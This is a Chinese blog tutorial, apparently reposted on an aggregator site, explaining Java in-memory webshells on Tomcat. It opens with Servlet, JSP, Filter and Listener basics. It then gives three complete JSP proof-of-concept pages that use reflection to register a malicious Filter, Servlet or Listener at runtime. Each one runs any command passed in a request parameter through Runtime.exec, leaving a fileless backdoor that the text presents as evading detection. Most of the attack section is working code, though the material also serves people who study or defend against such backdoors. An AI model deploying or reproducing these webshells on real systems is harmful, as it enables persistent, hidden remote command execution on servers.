Java内存马1-传统web内存马

这篇具有很好参考价值的文章主要介绍了Java内存马1-传统web内存马。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

1、前置知识

(1)Tomcat

Tomcat是一个开源的、轻量级的、用于Java Servlet和JavaServer Pages(JSP)的Web应用程序服务器。它是Apache软件基金会的一个项目,也是最流行的Servlet容器之一,适用于开发和部署各种类型的Java Web应用程序。

Tomcat负责管理Servlet的生命周期,包括加载、初始化、调用和销毁。当Tomcat接收到一个HTTP请求时,它会根据请求的URL路径找到对应的Servlet,并根据需要实例化和初始化这个Servlet,然后调用它的service()方法处理请求。在Servlet容器关闭时,Tomcat会销毁所有的Servlet实例,释放资源。

(2)Servlet

Servlet是Java编写的服务器端程序,用于处理请求和生成响应。Servlet是javaEE规范之一。Servlet程序与Filter过滤器、Listener监听器并称为三大组件。在编写javaWeb应用程序时,通常使用Servlet的子类HttpServlet来实现对HTTP请求的处理。

Servlet的生命周期:

(1)构造 servlet,然后使用 init 方法将其初始化。

(2)处理来自客户端的对 service 方法的所有调用。

(3)从服务中取出 servlet,然后使用 destroy 方法销毁它,最后进行垃圾回收并终止它。

//实现Servlet接口的类

@WebServlet(name = "MyServlet", value = "/My-servlet")
public class HelloServlet implements Servlet {
    /**
     * @param servletConfig
     * @throws ServletException
     */
    @Override
    public void init(ServletConfig servletConfig) throws ServletException {   
    }
    @Override
    public ServletConfig getServletConfig() {
        return null;
    }
    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        System.out.printf("hello! Srevlet被访问了");
    }
    @Override
    public String getServletInfo() {
        return null;
    }
    @Override
    public void destroy() {
    }
}

package com.example.mshell;

//给servlet程序配置访问地址
@WebServlet(name = "helloServlet", value = "/hello-servlet")
public class HelloServlet extends HttpServlet {
    private String message;

    public void init() {
        message = "Hello World!";
    }

    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        out.println("<html><body>");
        out.println("<h1>" + message + "</h1>");
        out.println("</body></html>");
    }

    public void destroy() {
    }
}

ServletContext是一个接口,表示Servlet上下文对象,其实现类为ApplicationContextFacade和ApplicationContext;一个web工程只有一个ServletContext对象实例;ServletContext是一个域对象;

ServletContext的声明周期与web工程一致,随着web工程的创建而创建,停止而消失;

域对象是可以向Map一样存取数据的对象,这里的域指定是存取对象的操作范围;

存数据方法 取数据方法 删除数据方法
Map put() get() remove()
域对象 setAttribute() getAttribute() removeAttribute()

ServletContext接口的四个常见作用:

(1)像Map一样存取数据(Sting-object)

(2)获取web.xml中配置的上下文参数context-param

(3)获取工程部署后服务器上web工程的绝对路径(常用于获取工程内资源的绝对路径)

(4)获取当前工程路径

public class ServletCt extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
//        super.doGet(req, resp);
        ServletContext st = this.getServletContext();
        System.out.println("context-param-user:" + st.getInitParameter("user"));
        System.out.println("工程路径:" + st.getContextPath());
        System.out.println("工程部署路径:" + st.getRealPath("/"));
        System.out.println("资源1.png的绝对路径" + st.getRealPath("/images/1.png"));

        st.setAttribute("key", "value");
        st.setAttribute("?", "?");
        st.removeAttribute("?");
        System.out.println(st.getAttribute("key"));
        System.out.println(st.getAttribute("?"));
        
    }
}

(3)JSP

JSP(JavaServer Pages)是一种用于开发动态Web内容的Java技术。与Servlet相比,JSP更注重于将Java代码嵌入到HTML页面中,以便更轻松地生成动态内容。JSP页面通常包含HTML标记和嵌入的Java代码片段,这些代码片段会在服务器端执行,生成最终的HTML内容,然后将其发送给客户端浏览器。

当我们第一次访问一个jsp页面的时候,Tomcat服务器会根据jsp文件生成一个Servlet程序的源文件并且编译成.class字节码程序。观察源码可以发现其底层回传数据的逻辑还是通过HttpServletResponse(用于返回响应的类,通常与HttpServletRequest一起使用)下writer对象的的write方法将数据返回给客户端;

JSP页面中的HTML部分会被转换成Java代码中的字符串常量,而Java代码部分则直接保留。我们可以在CATALINA_BASE/work/Catalina 目录直接找到该文件;

<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<head>
    <title>JSP - Hello World</title>
</head>
<body>
<h1><%= "Hello World!" %>
</h1>
<br/>
<a href="hello-servlet">Hello Servlet</a><br/><br/>
<%
    out.print("这是一段java代码");
%>
</body>
</html>

(4)Filter

Filter是Java Servlet规范中的一种组件,用于在Servlet容器中对HTTP请求进行预处理和后处理。Filter可以在Servlet处理请求之前、响应生成之后,对请求进行拦截、修改和增强。Filter通常用于实现诸如日志记录、字符编码转换、权限控制、数据压缩等功能,对于Web应用程序的开发和管理具有重要意义。与Servlet类似,Filter也可以通过在web.xml文件中进行配置,或者使用Servlet 3.0中的注解方式来声明和配置。Filter是Java Web开发中非常重要的一个组件,能够提高Web应用程序的灵活性、可维护性和安全性。

package com.example.mshell;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter(urlPatterns = "/admin/*")
public class HelloFilter implements Filter {

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        Filter.super.init(filterConfig);
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        System.out.println("拦截到了/admin/下的一次请求");
        //放行请求
        chain.doFilter(request,response);
    }

    @Override
    public void destroy() {
        Filter.super.destroy();
    }
}

(5)Listener

Listener是Java Servlet规范中的一种组件,用于监听Web应用程序中的事件,如ServletContext的创建和销毁、HttpSession的创建和销毁、ServletRequest的创建和销毁等。Listener可以在特定事件发生时执行相应的逻辑,用于监听和响应Web应用程序的生命周期和状态变化。当对应的事件发生时,容器会调用Listener中的相应方法,执行监听逻辑。

package com.example.mshell;
@WebListener
public class HelloListener implements ServletContextListener {
    @Override
    public void contextInitialized(ServletContextEvent sce) {
        // 当ServletContext被初始化时调用该方法
        System.out.println("ServletContext Initialized");
    }

    @Override
    public void contextDestroyed(ServletContextEvent sce) {
        // 当ServletContext被销毁时调用该方法
        System.out.println("ServletContext Destroyed");
    }
}

(6)内存马

内存马宏观意义上是在内存中被植入的恶意代码,“无文件落地”特性是内存马的一个重要特点,指的是恶意代码不需要写入到被感染系统的磁盘上,而是直接加载到系统的内存中并在其中运行。这种特性使得内存马更难以被传统的安全防护措施检测和清除,因为它们不留下明显的痕迹。

但是内存马在实际攻防中远不止于此,可以使用内存马解决很多棘手的问题,例如webshell文件落地被杀,不能反弹shell、禁止文件写入等等情况,这篇文章中所有的内存马分析都是针对传统Java web型应用,Servlet内存马、Listener内存马、Filter内存马。当然,内存马的类型远不止于此,还有针对各种框架、中间件,亦或是配合反序列化漏洞的内存马。但因为篇幅原因后续再记录。

文章中的项目框架为javaWeb-Maven-Tomcat9.0.80;在Tomcat不同版本中实现代码略有不同,但是基本的思路是一样的;

本文对Tomcat源码部分不做重点分析,重在了解动态创建三大组件的过程。

2、Filter内存马

在Servlet3.0后,本身就提供了动态注册组件的API接口定义,不过有一些限制,本文的所有内存马也是全部利用Servlet API入手进行内存马的编写;

在ServletContext接口中定义了方法addFilter,就是用来动态的添加一个Filter组件;

但是请注意这里的注释:

异常情况处理:

  • 如果ServletContext已经被初始化,则抛出IllegalStateException。
  • 如果filterName为null或者空字符串,则抛出IllegalArgumentException。
  • 如果ServletContext被传递给了一个不在web.xml或者web-fragment.xml中声明,也没有使用@WebListener注解声明的ServletContextListener的contextInitialized方法,则抛出UnsupportedOperationException。

处理这些异常情况是一项重要的任务;

具体的实现在ApplicationContext中体现:

private FilterRegistration.Dynamic addFilter(String filterName, String filterClass, Filter filter)
        throws IllegalStateException {
	
    //filterName不能为空
    if (filterName == null || filterName.equals("")) {
        throw new IllegalArgumentException(sm.getString("applicationContext.invalidFilterName", filterName));
    }
	//检查applicathion处于何种状态
    // TODO Spec breaking enhancement to ignore this restriction
    checkState("applicationContext.addFilter.ise");
	
    //依据filterName查找是否有其对应的findFilterDef
    FilterDef filterDef = context.findFilterDef(filterName);

    // Assume a 'complete' FilterRegistration is one that has a class and
    // a name
    //下面是一系列检查和初始化工作 不是很重要
    if (filterDef == null) {
        filterDef = new FilterDef();
        filterDef.setFilterName(filterName);
        context.addFilterDef(filterDef);
    } else {
        if (filterDef.getFilterName() != null && filterDef.getFilterClass() != null) {
            return null;
        }
    }

    if (filter == null) {
        filterDef.setFilterClass(filterClass);
    } else {
        filterDef.setFilterClass(filter.getClass().getName());
        filterDef.setFilter(filter);
    }
	//创建一个ApplicationFilterRegistration
    return new ApplicationFilterRegistration(filterDef, context);
}

这里首先就需要通过checkState函数,它用来检查当前context的状态是否为STARTING_PREP,“STARTING_PREP”代表还未被初始化;其中调用了来自LifecycleBase的getState函数;

而这个state的状态是由Tomcat控制的,当看到web页面的时候就已经经过初始化了,需要反射修改这个值;

可以发现它是一个对象,来自枚举类LifecycleState;

第一反应就是通过反射调用setState()方法,来绕过这个限制,发现在StandardContext类中并没有直接的方法声明,而是来到了LifecycleBase的setState方法,随即发现继承关系如下:

此外,还发现该方法中调用了setStateInternal方法,最终确定state的值由LifecycleBase中的属性值确定。

还有其他的绕过方法例如自行创建FilterDef和FilterConfig, 此处直接通过反射修改这个值;

假设现在通过了这个函数的检查,继续往下分析;

addFilter函数最终会返回一个ApplicationFilterRegistration,跟进这个类中看一眼;

这里有一个addMappingForUrlPatterns,给Filter添加拦截路径;

最后来到StandardContext,这里有个方法filterStart()用于配置和初始化Filter:

其实到这里思路就大致清晰了,只是有一些边边角角的地方跟一下代码逻辑就好,这里就不再说了,基本流程:

demo如下:

<%@ page import="java.io.IOException" %>
<%@ page import="com.example.mshell.HelloFilter" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.EnumSet" %>
<%@ page import="org.apache.catalina.LifecycleState" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.util.LifecycleBase" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>

</body>
<%!
    public class HackFilter implements Filter {

        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
        }

        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
            try {
                String cmd = (String)request.getParameter("cmd");
                if (cmd!=null){
                Runtime.getRuntime().exec(cmd);
                }
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
            chain.doFilter(request,response);
        }

        @Override
        public void destroy() {
        }
    }
%>
<%

    HackFilter hackFilter = new HackFilter();
    ServletContext servletContext = request.getServletContext();
    StandardContext standardContext= null;
    try {
        //获取StandardContext对象
        Field context = servletContext.getClass().getDeclaredField("context");
        context.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) context.get(application);

        Field context1 = applicationContext.getClass().getDeclaredField("context");
        context1.setAccessible(true);
        standardContext= (StandardContext) context1.get(applicationContext);

	  //修改state
        Class<?> lifecycleStateClass= standardContext.getClass().getSuperclass().getSuperclass().getSuperclass();

        Field state = lifecycleStateClass.getDeclaredField("state");
        state.setAccessible(true);
        state.set(standardContext,LifecycleState.STARTING_PREP);
	  //添加Filter
        FilterRegistration.Dynamic applicationFilterRegistration = applicationContext.addFilter("HackFilter", hackFilter);
	  //恢复容器状态
        state.set(standardContext,LifecycleState.STARTED);
	  
        //初始化filter
        standardContext.filterStart();
        
        //设置拦截路径
        EnumSet<DispatcherType> dispatcherTypes = EnumSet.of(DispatcherType.REQUEST);
        applicationFilterRegistration.addMappingForUrlPatterns(dispatcherTypes,true,"/hack/*");
    } catch (Exception e) {
        throw new RuntimeException(e);
    }


%>
</html>

访问cmd.jsp后访问路径/hack/?cmd=calc;成功弹出计算器;

3、Servlet内存马

基本思路一样,都是从addXXX入手,直接给出POC;

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.catalina.LifecycleState" %><%--
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>

</body>
<%
    try {
        ServletContext servletContext = request.getServletContext();
        Field context = servletContext.getClass().getDeclaredField("context");
        context.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
        Field context1 = applicationContext.getClass().getDeclaredField("context");
        context1.setAccessible(true);
        StandardContext standardContext = (StandardContext) context1.get(applicationContext);

        HackServlet hackServlet = new HackServlet();
        Class<?> superclass = standardContext.getClass().getSuperclass().getSuperclass().getSuperclass();
        Field state = superclass.getDeclaredField("state");
        state.setAccessible(true);
        state.set(standardContext, LifecycleState.STARTING_PREP);
        ServletRegistration.Dynamic servletRegistration = applicationContext.addServlet("HackServlet", hackServlet);
        state.set(standardContext,LifecycleState.STARTED);

//        loadOnStartup为0或者大于0时,表示容器在应用启动时就加载并初始化这个servlet;
        servletRegistration.setLoadOnStartup(1);
        servletRegistration.addMapping("/hackServlet");
    } catch (NoSuchFieldException e) {
        throw new RuntimeException(e);
    } catch (IllegalAccessException e) {
        throw new RuntimeException(e);
    }
%>
<%!
    public class HackServlet extends HttpServlet {
        public void init() {
        }

        public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
            response.setHeader("content-type", "text/html;charset=UTF-8");
            response.setCharacterEncoding("UTF-8");
            response.getWriter().println("成功创建HackServlet");
            String cmd = request.getParameter("cmd");
            if (cmd!=null){
                Runtime.getRuntime().exec(cmd);
            }
        }

        public void destroy() {
        }
    }
%>
</html>

4、Listener内存马

Listener可以不用设置state的值,依据ServletRequestEvent对象还可以有很多操作;这里贴上最简单的POC;文章来源地址https://www.toymoban.com/news/detail-842273.html

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
</body>
<%
    try {
        ServletContext servletContext = request.getServletContext();
        Field context = servletContext.getClass().getDeclaredField("context");
        context.setAccessible(true);
        ApplicationContext o = (ApplicationContext) context.get(servletContext);
        Field context1 = o.getClass().getDeclaredField("context");
        context1.setAccessible(true);
        StandardContext standardContext = (StandardContext) context1.get(o);
        standardContext.addApplicationEventListener(new HackListener());
    } catch (NoSuchFieldException e) {
        throw new RuntimeException(e);
    } catch (IllegalAccessException e) {
        throw new RuntimeException(e);
    }

%>
<%!
    public class HackListener implements ServletRequestListener {
        @Override
        public void requestDestroyed(ServletRequestEvent sre) {
            System.out.println("监听到请求");
            String cmd = sre.getServletRequest().getParameter("cmd3");
            if (cmd!=null){
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                    throw new RuntimeException(e);
                }
            }
        }

        @Override
        public void requestInitialized(ServletRequestEvent sre) {

        }
    }

%>

</html>

到了这里,关于Java内存马1-传统web内存马的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Tomcat:Java Web

    简介 Apache Tomcat 是 Java Web 应用程序开发中最为常用的服务器之一。作为一个开源、轻量级的 Servlet 容器和 JSP 容器,Tomcat 提供了一个稳定可靠的运行环境,使得开发者可以快速开发、部署和管理 Java Web 应用程序。本文将深入介绍 Tomcat 的特点、优势、安装、配置和基本用法,

    2024年03月23日
    浏览(46)
  • Java Web Tomcat 23.7.5

    1.1 简介 1.1.1 什么是Web服务器 Web服务器是一个应用程序( 软件 ),对HTTP协议的操作进行封装,使得程序员不必直接对协议进行操作,让Web开发更加便捷。主要功能是\\\"提供网上信息浏览服务\\\"。 Web服务器是安装在服务器端的一款软件,将来我们把自己写的Web项目部署到Web To

    2024年02月13日
    浏览(35)
  • 搭建第一个Web服务器(在eclipse或idea上部署Tomcat服务器)

    💻博主现有专栏:                 C51单片机(STC89C516),c语言,c++,离散数学,算法设计与分析,数据结构,Python,Java基础,MySQL,linux,基于HTML5的网页设计及应用,Rust(官方文档重点总结),jQuery,前端vue.js,Javaweb开发,Python机器学习等 🥏主页链接:     

    2024年04月12日
    浏览(47)
  • Java Web(七)__Tomcat(二)

    Tomcat作为Servlet容器,有以下三种工作模式。 1) 独立的Servlet容器 ,由Java虚拟机进程来运行 Tomcat作为独立的Web服务器来单独运行,Servlet容器组件作为Web服务器中的一部分而存在。 这是Tomcat的默认工作模式。 在这种模式下,Tomcat是一个独立运行的Java程序。和运行其他Java程序

    2024年02月21日
    浏览(36)
  • 从tomcat说起全面理解Java web开发原理

            简介:Java开发分为Java ME,Java SE,Java EE。回顾过去这些的开发工作基本上都是围绕着Java EE的,在开发经历中分别经历了Java EE开发框架从jsp servlet一路经历了ssh, ssm, springboot mybatis ,spring cloud演化,但是Java web开发过程中web容器却是一路相随tomcat,本篇文章将

    2024年02月09日
    浏览(44)
  • Java web项目打包成war包,本地tomcat运行

    一、javaWeb项目(非maven项目,IntelliJ IDEA环境下)打包的方式如下: (1)首先在IntelliJ IDEA中选中自己要打包的项目,点击file,选择Project Structure。 (2)在Project Structure中选中Artifacts。 (3)点击左上角绿色的+号,选择Web Application Archive,选中你要打包的项目,图中即为for ‘

    2024年02月13日
    浏览(62)
  • JUC前置知识

    JUC概述 在开发语言中,线程部分是重点,JUC是关于线程的。JUC是java.util.concurrent工具包的简称。这是一个处理线程的工具包,JDK1.5开始出现的。 线程和进程 线程和进程的概念 进程(process): 是计算机的程序关于某数据集合上的一次允许活动,是操作系统进行资源分配和任务调

    2024年02月08日
    浏览(43)
  • 7.前置知识3:LoadBalance

    https://medium.com/google-cloud/understand-cloud-load-balancer-like-a-senior-engineer-d4f55f3111fc 负载均衡本来是个硬件设备。其实一开始确实是的,然而现在已经不同了。 尤其是云厂商提供的负载均衡方案几乎全部是靠软件。现在的负载均衡不仅是网络流量复杂均衡,几乎所有的平衡多个计算资

    2024年02月20日
    浏览(47)
  • (一) AIGC了解+前置知识

    大论文双盲意见还没回来,每天度日如年,慌的一批,唯恐延毕,得找点事情干~ 小论文major revision,本来打算一鼓作气把小论文完全改好的,但是搞了三个月的文字工作,好久没有吸收新知识了 所以…每天边学新东西,边改小论文~ 最近AIGC比较火,就从它开始吧 AIGC大致了解

    2024年02月13日
    浏览(33)
  • Java 编程实战:如何用 Java 编写一个简单而强大的 Tomcat

    学习完了JavaWeb,为了深入了解tomcat,打算手撕tomcat搭建自己的tomcat,希望对来访小伙伴也有帮助         Tomcat 是一个开源的 Web 服务器和 Servlet 容器,它可以提供动态 Web 内容的处理和交互功能。Tomcat 是用 Java 语言编写的,需要运行在 Java 虚拟机上,所以它可以跨平台运

    2024年02月14日
    浏览(37)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包